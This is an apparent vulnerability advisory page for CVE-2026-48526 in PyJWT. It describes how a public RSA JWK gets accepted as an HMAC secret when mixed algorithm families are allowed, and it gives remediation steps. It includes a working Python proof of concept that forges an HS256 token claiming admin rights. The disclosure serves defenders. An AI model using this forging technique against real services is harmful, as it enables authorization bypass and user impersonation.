CVE-2026-48526: PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed

Published May 28, 2026
·
Updated

> [!NOTE] > Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in algorithms=[…] and a raw-JSON JWK as the key= argument, both contrary to documented usage, hence the High attack-complexity rating.

Summary When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.

Details In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms. In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example: jws.decode(token, key=rsajwkjson, algorithms=["HS256","RS256"]))

An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user.

If we look on current protections implemented in the library, at class HMACAlgorithm:

def preparekey(self, key: str | bytes) -> bytes: keybytes = forcebytes(key)

if ispemformat(keybytes) or issshkey(keybytes): raise InvalidKeyError( "The specified key is an asymmetric key or x509 certificate and" " should not be used as an HMAC secret." )

return keybytes We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.

In The following example: jws.decode(token, key=rsajwkjson, algorithms=["HS256","RS256"])) There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations.

The bypass happens only if the verifier: (a) allows HS and an asymmetric algorithm in the same call and (b) passes a public-key value as key.

PoC Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}')

from jwt.apijws import PyJWS import json, base64, hmac, hashlib

def b64u(b): return base64.urlsafeb64encode(b).rstrip(b"=")

Public RSA JWK (public by design) rsajwkjson = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})

Attacker-crafted token: flip to HS256 and choose claims header = b64u(b'{"alg":"HS256","typ":"JWT"}') payload = b64u(b'{"sub":"alice","admin":true}') signing = header + b"." + payload

Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret” sig = hmac.new(rsajwkjson.encode(), signing, hashlib.sha256).digest() token = (signing + b"." + b64u(sig)).decode()

Vulnerable verifier: mixed families + JWK JSON string as key jws = PyJWS() print(jws.decode(token, key=rsajwkjson, algorithms=["HS256","RS256"])) -> b'{"sub":"alice","admin":true}'

Impact Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).

Other sources

PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.

NVD

PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed

Microsoft

Affected Software

4 affected componentsFixes available
pypi/pyjwt<2.13.0
pip/pyjwt<2.13.0
2.13.0
Pyjwt Project Pyjwt<2.13.0
Microsoft azl3 python-jwt 2.8.0-2<2.13.0-1
2.13.0-1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/pyjwt to a version that resolves this vulnerability.

    Fixed in 2.13.0
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 2.13.0-1
  3. Upgrade

    Upgrade PyJWT to a version that resolves this vulnerability.

    Fixed in 2.13.0
  4. Configuration

    Ensure the verifier is not configured with both symmetric (HS*) and asymmetric (RS*/ES*) algorithms in the same decode call (the bypass requires mixed families in algorithms=[…]).

    PyJWT verifier (jws.decode) algorithms = Use only one family (either symmetric HMAC algorithms like HS* or asymmetric algorithms like RS*/ES*)
  5. Configuration

    When using HMAC algorithms (HS*), pass an actual shared secret; do not use a raw-JSON JWK value (e.g., rsa_jwk_json JSON text) as the HMAC key. The vulnerability occurs because the verifier accepted the JWK JSON value as the HMAC secret when mixed families were allowed.

    PyJWT verifier (jws.decode) key (JWK usage) = Do not pass raw JSON Web Key (JWK) JSON text as the key for HMAC verification

Event History

May 28, 2026
CVE Published
via MITRE·03:09 PM
Data Sourced
via MITRE·03:09 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·04:01 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·04:16 PM
DescriptionSeverityWeaknessAffected Software
Jun 15, 2026
Advisory Published
via GitHub·07:28 PM
Data Sourced
via GitHub·07:28 PM
DescriptionSeverityWeaknessAffected Software
Jul 24, 2026
Data Sourced
via Microsoft·08:01 AM
DescriptionSeverityWeakness
Data Sourced
via Microsoft·08:01 AM
Affected Software
Updated
via Microsoft·08:01 AM
DescriptionSeverity
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-48526?

The severity of CVE-2026-48526 is high, rated at 7.4.

2

How do I fix CVE-2026-48526?

To fix CVE-2026-48526, upgrade PyJWT to version 2.13.0 or later.

3

What type of vulnerability is CVE-2026-48526?

CVE-2026-48526 is a vulnerability that allows forged HS256 tokens due to improper validation of public-key JWKs as HMAC secrets.

4

What impact does CVE-2026-48526 have on security?

CVE-2026-48526 allows attackers to forge tokens which can lead to unauthorized access or data breaches.

5

Which library is affected by CVE-2026-48526?

CVE-2026-48526 affects the PyJWT library, a JSON Web Token implementation in Python.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203